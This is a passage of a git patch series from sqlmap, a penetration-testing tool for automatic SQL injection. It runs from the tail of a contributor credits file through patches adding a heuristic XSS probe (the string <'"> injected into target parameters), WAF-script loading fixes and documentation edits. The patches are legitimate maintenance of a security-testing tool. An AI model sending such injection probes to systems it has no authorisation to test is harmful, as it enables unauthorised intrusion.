Mutai, * for reporting a minor bug -Roberto Nemirovsky, +Roberto Nemirovsky, * for pointing me out some enhancements -Simone Onofri, +Simone Onofri, * for patching the PHP web backdoor to make it work properly also on Windows -Michele Orru, +Michele Orru, * for reporting a couple of bug * for suggesting ideas on how to implement the RESTful API -Shaohua Pan, +Shaohua Pan, * for reporting several bugs * for suggesting a few features -Antonio Parata, +Antonio Parata, * for sharing some ideas for the PHP backdoor -Adrian Pastor, +Adrian Pastor, * for donating to sqlmap development -Christopher Patten, +Christopher Patten, * for reporting a bug in the blind SQL injection bisection algorithm -Zack Payton, +Zack Payton, * for reporting a minor bug -Jaime Penalba, +Jaime Penalba, * for contributing a patch for INSERT/UPDATE generic boundaries -Pedrito Perez, <0ark1ang3l@gmail.com> +Pedrito Perez, <0ark1ang3l(at)gmail.com> * for reporting a couple of bugs -Brandon Perry, +Brandon Perry, * for reporting a couple of bugs -Travis Phillips, +Travis Phillips, * for suggesting a minor enhancement -Mark Pilgrim, +Mark Pilgrim, * for porting chardet package (Universal Encoding Detector) to Python -Steve Pinkham, +Steve Pinkham, * for suggesting a feature * for contributing a new SQL injection vector (MSSQL time-based blind) * for donating to sqlmap development -Adam Pridgen, +Adam Pridgen, * for suggesting some features -Luka Pusic, +Luka Pusic, * for reporting a couple of bugs -Ole Rasmussen, +Ole Rasmussen, * for reporting a bug * for suggesting a feature -Alberto Revelli, +Alberto Revelli, * for inspiring me to write sqlmap user's manual in SGML * for his great Microsoft SQL Server take over tool, sqlninja, http://sqlninja.sourceforge.net -David Rhoades, +David Rhoades, * for reporting a bug -Andres Riancho, +Andres Riancho, * for beta-testing sqlmap * for reporting a bug and suggesting some features * for including sqlmap in his great web application audit and attack framework, w3af, http://w3af.sourceforge.net * for suggesting a way for handling DNS caching -Jamie Riden, +Jamie Riden, * for reporting a minor bug -Alexander Rigbo, +Alexander Rigbo, * for contributing a minor patch -Antonio Riva, +Antonio Riva, * for reporting a bug when running with python 2.5 -Ethan Robish, +Ethan Robish, * for reporting a bug -Levente Rog, +Levente Rog, * for reporting a minor bug -Andrea Rossi, +Andrea Rossi, * for reporting a minor bug * for suggesting a feature -Frederic Roy, +Frederic Roy, * for reporting a couple of bugs -Vladimir Rutsky, +Vladimir Rutsky, * for suggesting a couple of minor enhancements -Richard Safran, +Richard Safran, * for donating the sqlmap.org domain -Tomoyuki Sakurai, +Tomoyuki Sakurai, * for submitting to the FreeBSD project the sqlmap 0.5 port -Roberto Salgado, +Roberto Salgado, * for contributing considerable amount of tamper scripts -Pedro Jacques Santos Santiago, +Pedro Jacques Santos Santiago, * for reporting considerable amount of bugs -Marek Sarvas, +Marek Sarvas, * for reporting several bugs -Philippe A. R. Schaeffer, +Philippe A. R. Schaeffer, * for reporting a minor bug -Mohd Zamiri Sanin, +Mohd Zamiri Sanin, * for reporting a minor bug -Jorge Santos, +Jorge Santos, * for reporting a minor bug -Sven Schluter, +Sven Schluter, * for contributing a patch * for waiting a number of seconds between each HTTP request -Ryan Sears, +Ryan Sears, * for suggesting a couple of enhancements * for donating to sqlmap development -Uemit Seren, +Uemit Seren, * for reporting a minor adjustment when running with python 2.6 -Shane Sewell, +Shane Sewell, * for suggesting a feature -Ahmed Shawky, +Ahmed Shawky, * for reporting a major bug with improper handling of parameter values * for reporting a bug -Brian Shura, +Brian Shura, * for reporting a bug -Sumit Siddharth, +Sumit Siddharth, * for sharing ideas on the implementation of a couple of features -Andre Silva, +Andre Silva, * for reporting a bug -Benjamin Silva H. +Benjamin Silva H. * for reporting a bug -Duarte Silva +Duarte Silva * for reporting a couple of bugs -M Simkin, +M Simkin, * for suggesting a feature -Konrads Smelkovs, +Konrads Smelkovs, * for reporting a few bugs in --sql-shell and --sql-query on Microsoft SQL Server -Chris Spencer, +Chris Spencer, * for reviewing the user's manual grammar -Michael D. Stenner, +Michael D. Stenner, * for his keepalive module that allows handling of persistent HTTP 1.1 keep-alive connections -Marek Stiefenhofer, +Marek Stiefenhofer, * for reporting a few bugs -Jason Swan, +Jason Swan, * for reporting a bug when enumerating columns on Microsoft SQL Server * for suggesting a couple of improvements -Chilik Tamir, +Chilik Tamir, * for contributing a patch for initial support SOAP requests -Alessandro Tanasi, +Alessandro Tanasi, * for extensively beta-testing sqlmap * for suggesting many features and reporting some bugs * for reviewing the documentation -Andres Tarasco, +Andres Tarasco, * for contributing good feedback -Tom Thumb, +Tom Thumb, * for reporting a major bug -Kazim Bugra Tombul, +Kazim Bugra Tombul, * for reporting a minor bug -Efrain Torres, +Efrain Torres, * for helping me out to improve the Metasploit Framework sqlmap auxiliary module and for commiting it on the Metasploit official subversion repository * for his great Metasploit WMAP Framework -Sandro Tosi, +Sandro Tosi, * for helping to create sqlmap Debian package correctly -Jacco van Tuijl, +Jacco van Tuijl, * for reporting several bugs -Vitaly Turenko, +Vitaly Turenko, * for reporting a bug -Augusto Urbieta, +Augusto Urbieta, * for reporting a minor bug -Bedirhan Urgun, +Bedirhan Urgun, * for reporting a few bugs * for suggesting some features and improvements * for benchmarking sqlmap in the context of his SQL injection benchmark project, OWASP SQLiBench, http://code.google.com/p/sqlibench -Kyprianos Vasilopoulos, +Kyprianos Vasilopoulos, * for reporting a couple of minor bugs -Vlado Velichkovski, +Vlado Velichkovski, * for reporting considerable amount of bugs * for suggesting an enhancement -Johnny Venter, +Johnny Venter, * for reporting a couple of bugs -Carlos Gabriel Vergara, +Carlos Gabriel Vergara, * for suggesting couple of good features -Patrick Webster, +Patrick Webster, * for suggesting an enhancement -Ed Williams, +Ed Williams, * for suggesting a minor enhancement -Anthony Zboralski, +Anthony Zboralski, * for providing with detailed feedback * for reporting a few minor bugs * for donating to sqlmap development -Thierry Zoller, +Thierry Zoller, * for reporting a couple of major bugs -Zhen Zhou, +Zhen Zhou, * for suggesting a feature --insane-, +-insane-, * for reporting a minor bug -1ndr4 joe, +1ndr4 joe, * for reporting a couple of bugs -abc abc, +abc abc, * for reporting a minor bug -Abuse 007, +Abuse 007, * for reporting a bug -Alex, +Alex, * for reporting a minor bug -anonymous anonymous, +anonymous anonymous, * for reporting a couple of bugs -bamboo, +bamboo, * for reporting a couple of bugs -Brandon E., +Brandon E., * for reporting a bug -black zero, +black zero, * for reporting a minor bug -blueBoy, +blueBoy, * for reporting a bug -buawig, +buawig, * for reporting considerable amount of bugs -Bugtrace, +Bugtrace, * for reporting several bugs -cats, +cats, * for reporting a couple of bugs -Christian S, +Christian S, * for reporting a minor bug -clav, +clav, * for reporting a minor bug -dragoun dash, +dragoun dash, * for reporting a minor bug -fufuh, +fufuh, * for reporting a bug when running on Windows -Hans Wurst, +Hans Wurst, * for reporting a couple of bugs -james, +james, * for reporting a bug -Joe "Pragmatk", +Joe "Pragmatk", * for reporting a few bugs -John Smith, +John Smith, * for reporting several bugs * for suggesting some features -m4l1c3, +m4l1c3, * for reporting considerable amount of bugs -mariano, +mariano, * for reporting a bug -mitchell, +mitchell, * for reporting a few bugs -Nadzree, +Nadzree, * for reporting a minor bug -nightman, +nightman, * for reporting considerable amount of bugs -Oso Dog osodog123@yahoo.com +Oso Dog osodog123(at)yahoo.com * for reporting a minor bug -pacman730, +pacman730, * for reporting a bug -pentestmonkey, +pentestmonkey, * for reporting several bugs * for suggesting a few minor enhancements -Phat R., +Phat R., * for reporting a few bugs -Phil P, <@superevr> +Phil P, <(at)superevr> * for suggesting a minor enhancement -ragos, +ragos, * for reporting a minor bug -rmillet, +rmillet, * for reporting a bug -Rub3nCT, +Rub3nCT, * for reporting a minor bug -shiftzwei, +shiftzwei, * for reporting a couple of bugs -smith, +smith, * for reporting a minor bug -Soma Cruz, +Soma Cruz, * for reporting a minor bug -Stuffe, +Stuffe, * for reporting a minor bug and a feature request -Sylphid, +Sylphid, * for suggesting some features -syssecurity.info, +syssecurity.info, * for reporting a minor bug -This LittlePiggy, +This LittlePiggy, * for reporting a minor bug -ToR, +ToR, * for reporting considerable amount of bugs * for suggesting a feature -ultramegaman, +ultramegaman, * for reporting a minor bug -Vinicius, +Vinicius, * for reporting a minor bug -wanglei, +wanglei, * for reporting a minor bug -warninggp, +warninggp, * for reporting a few minor bugs -x, +x, * for reporting a bug -zhouhx, +zhouhx, * for contributing a minor patch # Organizations -Black Hat team, +Black Hat team, * for the opportunity to present my research titled 'Advanced SQL injection to operating system full control' at Black Hat Europe 2009 Briefings on April 16, 2009 in Amsterdam (NL). I unveiled and demonstrated some of the sqlmap 0.7 release candidate version new features during my presentation * Homepage: http://goo.gl/BKfs7 * Slides: http://goo.gl/Dh65t * White paper: http://goo.gl/spX3N -SOURCE Conference team, +SOURCE Conference team, * for the opportunity to present my research titled 'Expanding the control over the operating system from the database' at SOURCE Conference 2009 on September 21, 2009 in Barcelona (ES). I unveiled and demonstrated some of the sqlmap 0.8 release candidate version new features during my presentation * Homepage: http://goo.gl/IeXV4 * Slides: http://goo.gl/OKnfj -AthCon Conference team, +AthCon Conference team, * for the opportunity to present my research titled 'Got database access? Own the network!' at AthCon Conference 2010 on June 3, 2010 in Athens (GR). I unveiled and demonstrated some of the sqlmap 0.8 version features during my presentation * Homepage: http://goo.gl/Fs71I * Slides: http://goo.gl/QMfjO -Metasploit Framework development team, +Metasploit Framework development team, * for their powerful tool Metasploit Framework, used by sqlmap, among others things, to create the shellcode and establish an out-of-band connection between sqlmap and the database server * Homepage: http://www.metasploit.com -OWASP Board, +OWASP Board, * for sponsoring part of the sqlmap development in the context of OWASP Spring of Code 2007 * Homepage: http://www.owasp.org From f272517cd24c45dc914b207c28695cfc070dabef Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 22 Sep 2014 22:18:08 +0200 Subject: [PATCH 037/492] Dealing with broken pipe (not filling terminal with traceback in that case) --- thirdparty/ansistrm/ansistrm.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/thirdparty/ansistrm/ansistrm.py b/thirdparty/ansistrm/ansistrm.py index eb30b9c6d..95d2b00be 100644 --- a/thirdparty/ansistrm/ansistrm.py +++ b/thirdparty/ansistrm/ansistrm.py @@ -62,6 +62,8 @@ class ColorizingStreamHandler(logging.StreamHandler): self.flush() except (KeyboardInterrupt, SystemExit): raise + except IOError: + pass except: self.handleError(record) From 767c278a0fb74ebe57dd3c99dd2ac697f91f67e9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 26 Sep 2014 17:00:38 +0200 Subject: [PATCH 038/492] Fix for an Issue #838 --- lib/request/connect.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/request/connect.py b/lib/request/connect.py index 2eab46815..32e43eb42 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -385,7 +385,7 @@ class Connect(object): conn = urllib2.urlopen(req) - if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and conf.authType.lower() == AUTH_TYPE.BASIC.lower(): + if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or "").lower() == AUTH_TYPE.BASIC.lower(): kb.authHeader = getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION): From 1e636fb925a73d92f8b9c48a156c1d5e52df9d9a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 28 Sep 2014 13:38:09 +0200 Subject: [PATCH 039/492] Minor patch regarding Issue #840 --- lib/request/connect.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/request/connect.py b/lib/request/connect.py index 32e43eb42..d0512b8b5 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -768,7 +768,7 @@ class Connect(object): if conf.evalCode: delimiter = conf.paramDel or DEFAULT_GET_POST_DELIMITER - variables = {} + variables = {"uri": uri} originals = {} for item in filter(None, (get, post if not kb.postHint else None)): @@ -787,6 +787,7 @@ class Connect(object): originals.update(variables) evaluateCode(conf.evalCode, variables) + uri = variables["uri"] for name, value in variables.items(): if name != "__builtins__" and originals.get(name, "") != value: From ff42720c6257de96cabd0bdb1efef9f256836deb Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 29 Sep 2014 14:07:59 +0200 Subject: [PATCH 040/492] Minor fix --- lib/core/option.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index fa1029a58..fcaacd17e 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1004,7 +1004,7 @@ def _setWafFunctions(): _ = dict(inspect.getmembers(module)) if "detect" not in _: - errMsg = "missing function 'detect(page, headers, code)' " + errMsg = "missing function 'detect(get_page)' " errMsg += "in WAF script '%s'" % found raise SqlmapGenericException(errMsg) else: From 4d237444308a68a21355695c31e935132c7f54e4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 30 Sep 2014 09:58:02 +0200 Subject: [PATCH 041/492] Bug fix (there was a problem using --tamper=varnish with --identify-waf because of same named modules) --- lib/core/option.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/core/option.py b/lib/core/option.py index fcaacd17e..921fd035e 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -998,6 +998,8 @@ def _setWafFunctions(): sys.path.insert(0, dirname) try: + if filename[:-3] in sys.modules: + del sys.modules[filename[:-3]] module = __import__(filename[:-3]) except ImportError, msg: raise SqlmapSyntaxException("cannot import WAF script '%s' (%s)" % (filename[:-3], msg)) From 8c9014c39fb3c21c703d50f1fc57f33d0fa35ea2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 1 Oct 2014 13:31:48 +0200 Subject: [PATCH 042/492] Adding a dummy (auxiliary) XSS check --- lib/controller/checks.py | 15 +++++++++++++++ lib/core/common.py | 4 ++-- lib/core/settings.py | 3 +++ 3 files changed, 20 insertions(+), 2 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index d19a32d31..44582dbc3 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -58,6 +58,7 @@ from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapUserQuitException +from lib.core.settings import DUMMY_XSS_CHECK_APPENDIX from lib.core.settings import FORMAT_EXCEPTION_STRINGS from lib.core.settings import HEURISTIC_CHECK_ALPHABET from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH @@ -848,6 +849,20 @@ def heuristicCheckSqlInjection(place, parameter): infoMsg += "not be injectable" logger.warn(infoMsg) + kb.heuristicMode = True + + payload = "%s%s%s" % (prefix, "%s%s%s" % (randomStr(), DUMMY_XSS_CHECK_APPENDIX, randomStr()), suffix) + payload = agent.payload(place, parameter, newValue=payload) + page, _ = Request.queryPage(payload, place, content=True, raise404=False) + + if DUMMY_XSS_CHECK_APPENDIX in (page or ""): + infoMsg = "heuristic (XSS) test shows that %s " % place + infoMsg += "parameter '%s' might " % parameter + infoMsg += "be vulnerable to XSS attacks" + logger.info(infoMsg) + + kb.heuristicMode = False + return kb.heuristicTest def checkDynParam(place, parameter, value): diff --git a/lib/core/common.py b/lib/core/common.py index e99dfa63d..2a30103e8 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2931,7 +2931,7 @@ def removeReflectiveValues(content, payload, suppressWarning=False): retVal = content - if all([content, payload]) and isinstance(content, unicode) and kb.reflectiveMechanism: + if all([content, payload]) and isinstance(content, unicode) and kb.reflectiveMechanism and not kb.heuristicMode: def _(value): while 2 * REFLECTED_REPLACEMENT_REGEX in value: value = value.replace(2 * REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX) @@ -2966,7 +2966,7 @@ def removeReflectiveValues(content, payload, suppressWarning=False): regex = REFLECTED_REPLACEMENT_REGEX.join(parts[1:]) retVal = re.sub(r"(?i)\b%s\b" % regex, REFLECTED_VALUE_MARKER, retVal) - if retVal != content and not kb.heuristicMode: + if retVal != content: kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT] += 1 if not suppressWarning: warnMsg = "reflective value(s) found and filtering out" diff --git a/lib/core/settings.py b/lib/core/settings.py index 4a93fdfa5..66bc20418 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -509,6 +509,9 @@ DNS_BOUNDARIES_ALPHABET = re.sub("[a-fA-F]", "", string.ascii_letters) # Alphabet used for heuristic checks HEURISTIC_CHECK_ALPHABET = ('"', '\'', ')', '(', '[', ']', ',', '.') +# String used for dummy XSS check of a tested parameter value +DUMMY_XSS_CHECK_APPENDIX = "<'\">" + # Connection chunk size (processing large responses in chunks to avoid MemoryError crashes - e.g. large table dump in full UNION injections) MAX_CONNECTION_CHUNK_SIZE = 10 * 1024 * 1024 From a9454fbb439a7258ed39c6c1bbdd5e2f4222de8a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 1 Oct 2014 13:35:20 +0200 Subject: [PATCH 043/492] Minor commit related to the last one (bypassing DBMS error trimming problem) --- lib/controller/checks.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 44582dbc3..d875b4b85 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -851,7 +851,7 @@ def heuristicCheckSqlInjection(place, parameter): kb.heuristicMode = True - payload = "%s%s%s" % (prefix, "%s%s%s" % (randomStr(), DUMMY_XSS_CHECK_APPENDIX, randomStr()), suffix) + payload = "%s%s%s" % (prefix, "%s'%s%s" % (randomStr(), DUMMY_XSS_CHECK_APPENDIX, randomStr()), suffix) payload = agent.payload(place, parameter, newValue=payload) page, _ = Request.queryPage(payload, place, content=True, raise404=False) From f67a38dba9223ee99fca2007bf9b969a497a7276 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 1 Oct 2014 13:42:10 +0200 Subject: [PATCH 044/492] Minor adjustment --- lib/controller/checks.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index d875b4b85..e4429dfd7 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -851,11 +851,12 @@ def heuristicCheckSqlInjection(place, parameter): kb.heuristicMode = True - payload = "%s%s%s" % (prefix, "%s'%s%s" % (randomStr(), DUMMY_XSS_CHECK_APPENDIX, randomStr()), suffix) + value = "%s%s%s" % (randomStr(), DUMMY_XSS_CHECK_APPENDIX, randomStr()) + payload = "%s%s%s" % (prefix, "'%s" % value, suffix) payload = agent.payload(place, parameter, newValue=payload) page, _ = Request.queryPage(payload, place, content=True, raise404=False) - if DUMMY_XSS_CHECK_APPENDIX in (page or ""): + if value in (page or ""): infoMsg = "heuristic (XSS) test shows that %s " % place infoMsg += "parameter '%s' might " % parameter infoMsg += "be vulnerable to XSS attacks" From e81168af0f75c9779791bae96b77760b87204e45 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 1 Oct 2014 13:59:51 +0200 Subject: [PATCH 045/492] Minor adjustment --- lib/techniques/brute/use.py | 10 +++++----- lib/techniques/dns/use.py | 2 +- lib/techniques/union/use.py | 2 +- 3 files changed, 7 insertions(+), 7 deletions(-) diff --git a/lib/techniques/brute/use.py b/lib/techniques/brute/use.py index 66e565bf1..6a5ea5682 100644 --- a/lib/techniques/brute/use.py +++ b/lib/techniques/brute/use.py @@ -116,7 +116,7 @@ def tableExists(tableFile, regex=None): if conf.verbose in (1, 2) and not hasattr(conf, "api"): clearConsoleLine(True) - infoMsg = "[%s] [INFO] retrieved: %s\r\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table)) + infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(table)) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): @@ -224,11 +224,11 @@ def columnExists(columnFile, regex=None): if conf.verbose in (1, 2) and not hasattr(conf, "api"): clearConsoleLine(True) - infoMsg = "[%s] [INFO] retrieved: %s\r\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(column)) + infoMsg = "[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), unsafeSQLIdentificatorNaming(column)) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): - status = '%d/%d items (%d%%)' % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) + status = "%d/%d items (%d%%)" % (threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) dataToStdout("\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) kb.locks.io.release() @@ -257,9 +257,9 @@ def columnExists(columnFile, regex=None): result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column))) if result: - columns[column] = 'numeric' + columns[column] = "numeric" else: - columns[column] = 'non-numeric' + columns[column] = "non-numeric" kb.data.cachedColumns[conf.db] = {conf.tbl: columns} diff --git a/lib/techniques/dns/use.py b/lib/techniques/dns/use.py index ef7280be9..dead67d73 100644 --- a/lib/techniques/dns/use.py +++ b/lib/techniques/dns/use.py @@ -98,7 +98,7 @@ def dnsUse(payload, expression): retVal = output if kb.dnsTest is not None: - dataToStdout("[%s] [INFO] %s: %s\r\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output))) + dataToStdout("[%s] [INFO] %s: %s\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output))) if count > 0: hashDBWrite(expression, output) diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 75e4c4b68..e1a043e70 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -322,7 +322,7 @@ def unionUse(expression, unpack=True, dump=False): if len(status) > width: status = "%s..." % status[:width - 3] - dataToStdout("%s\r\n" % status, True) + dataToStdout("%s\n" % status, True) runThreads(numThreads, unionThread) From a2b059123a0a9d2431d2d925e7dd2ce7de3addf6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 1 Oct 2014 14:12:30 +0200 Subject: [PATCH 046/492] Minor update of format exception strings --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 66bc20418..104d28df5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -546,7 +546,7 @@ MAX_HELP_OPTION_LENGTH = 18 MAX_CONNECT_RETRIES = 100 # Strings for detecting formatting errors -FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Failed to convert", "System.FormatException", "java.lang.NumberFormatException") +FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Failed to convert", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal") # Regular expression used for extracting ASP.NET view state values VIEWSTATE_REGEX = r'(?i)(?P__VIEWSTATE[^"]*)[^>]+value="(?P[^"]+)' From fdef53aa679bf8c96f9fb9d4befdf2e36295b7e3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 1 Oct 2014 14:23:45 +0200 Subject: [PATCH 047/492] Minor update of unhandled exception message --- lib/core/common.py | 14 ++++++++------ lib/core/settings.py | 1 + 2 files changed, 9 insertions(+), 6 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 2a30103e8..12e4ac9e9 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -98,6 +98,7 @@ from lib.core.settings import ERROR_PARSING_REGEXES from lib.core.settings import FORCE_COOKIE_EXPIRATION_TIME from lib.core.settings import FORM_SEARCH_REGEX from lib.core.settings import GENERIC_DOC_ROOT_DIRECTORY_NAMES +from lib.core.settings import GIT_PAGE from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX from lib.core.settings import HASHDB_MILESTONE_VALUE from lib.core.settings import HOST_ALIASES @@ -2828,13 +2829,14 @@ def unhandledExceptionMessage(): Returns detailed message about occurred unhandled exception """ - errMsg = "unhandled exception in %s, retry your " % VERSION_STRING - errMsg += "run with the latest development version from the GitHub " - errMsg += "repository. If the exception persists, please send by e-mail " - errMsg += "to '%s' or open a new issue at '%s' with the following text " % (ML, ISSUES_PAGE) - errMsg += "and any information required to reproduce the bug. The " + errMsg = "unhandled exception occurred in %s. It is recommended to retry your " % VERSION_STRING + errMsg += "run with the latest development version from official GitHub " + errMsg += "repository at '%s'. If the exception persists, please open a new issue " % GIT_PAGE + errMsg += "at '%s' (or less preferably send by e-mail to '%s') " % (ISSUES_PAGE, ML) + errMsg += "with the following text and any other information required to " + errMsg += "reproduce the bug. The " errMsg += "developers will try to reproduce the bug, fix it accordingly " - errMsg += "and get back to you.\n" + errMsg += "and get back to you\n" errMsg += "sqlmap version: %s%s\n" % (VERSION, "-%s" % REVISION if REVISION else "") errMsg += "Python version: %s\n" % PYVERSION errMsg += "Operating system: %s\n" % PLATFORM diff --git a/lib/core/settings.py b/lib/core/settings.py index 104d28df5..fbab89ca3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -26,6 +26,7 @@ DESCRIPTION = "automatic SQL injection and database takeover tool" SITE = "http://sqlmap.org" ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new" GIT_REPOSITORY = "git://github.com/sqlmapproject/sqlmap.git" +GIT_PAGE = "https://github.com/sqlmapproject/sqlmap" ML = "sqlmap-users@lists.sourceforge.net" # colorful banner From 45122582cfe89f68d168613e7a16bd01ed570b3c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 1 Oct 2014 14:25:54 +0200 Subject: [PATCH 048/492] Year update in COPYING --- doc/COPYING | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/COPYING b/doc/COPYING index 38a61d291..a8ccaaa4d 100644 --- a/doc/COPYING +++ b/doc/COPYING @@ -1,7 +1,7 @@ COPYING -- Describes the terms under which sqlmap is distributed. A copy of the GNU General Public License (GPL) is appended to this file. -sqlmap is (C) 2006-2013 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. +sqlmap is (C) 2006-2014 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. This program is free software; you may redistribute and/or modify it under the terms of the GNU General Public License as published by the Free From 2de12ef4a276cc83f4dcc8c2c815a4b7d1a68858 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 5 Oct 2014 00:20:42 +0200 Subject: [PATCH 049/492] Potential fix for an Issue #843 --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index fbab89ca3..405a0f026 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -34,7 +34,7 @@ BANNER = """\033[01;33m _ ___ ___| |_____ ___ ___ \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m |_ -| . | | | .'| . | |___|_ |_|_|_|_|__,| _| - |_| |_| \033[0m\033[4m%s\033[0m\n + |_| |_| \033[0m\033[4;37m%s\033[0m\n """ % ((31 + hash(REVISION) % 6) if REVISION else 30, VERSION_STRING.split('/')[-1], SITE) # Minimum distance of ratio from kb.matchRatio to result in True From 9d25389ef039f4f03eb41b16750253c0f6de55df Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 7 Oct 2014 10:20:40 +0200 Subject: [PATCH 050/492] Minor fix regarding Issue #845 --- doc/THIRD-PARTY.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/THIRD-PARTY.md b/doc/THIRD-PARTY.md index 5debfe274..1e73d3827 100644 --- a/doc/THIRD-PARTY.md +++ b/doc/THIRD-PARTY.md @@ -55,7 +55,7 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. Copyright (C) 2008-2009, Jose Fonseca. * The KeepAlive library located under thirdparty/keepalive/. Copyright (C) 2002-2003, Michael D. Stenner. -* The MultipartPost library located under thirdparty/multipartpost/. +* The MultipartPost library located under thirdparty/multipart/. Copyright (C) 2006, Will Holcomb. * The XDot library located under thirdparty/xdot/. Copyright (C) 2008, Jose Fonseca. From 2f37fb295b9f03a019985e4ed3eb30c517968eb1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 7 Oct 2014 10:31:17 +0200 Subject: [PATCH 051/492] Minor fix regarding Issue #845 --- doc/THIRD-PARTY.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/doc/THIRD-PARTY.md b/doc/THIRD-PARTY.md index 1e73d3827..f2479b31a 100644 --- a/doc/THIRD-PARTY.md +++ b/doc/THIRD-PARTY.md @@ -20,6 +20,8 @@ This file lists bundled packages and their associated licensing terms. * The Oset library located under thirdparty/oset/. Copyright (C) 2010, BlueDynamics Alliance, Austria. Copyright (C) 2009, Raymond Hettinger, and others. +* The PrettyPrint library located under thirdparty/prettyprint/. + Copyright (C) 2010, Chris Hall. * The SocksiPy library located under thirdparty/socks/. Copyright (C) 2006, Dan-Haim. @@ -281,8 +283,6 @@ be bound by the terms and conditions of this License Agreement. Copyright (C) 2012, Marcel Hellkamp. * The PageRank library located under thirdparty/pagerank/. Copyright (C) 2010, Corey Goldberg. -* The PrettyPrint library located under thirdparty/prettyprint/. - Copyright (C) 2010, Chris Hall. * The Termcolor library located under thirdparty/termcolor/. Copyright (C) 2008-2011, Volvox Development Team. From ddfec1c668163e23b03221243095f6c771189625 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 7 Oct 2014 11:34:47 +0200 Subject: [PATCH 052/492] Initial patch for an Issue #846 --- lib/core/common.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/common.py 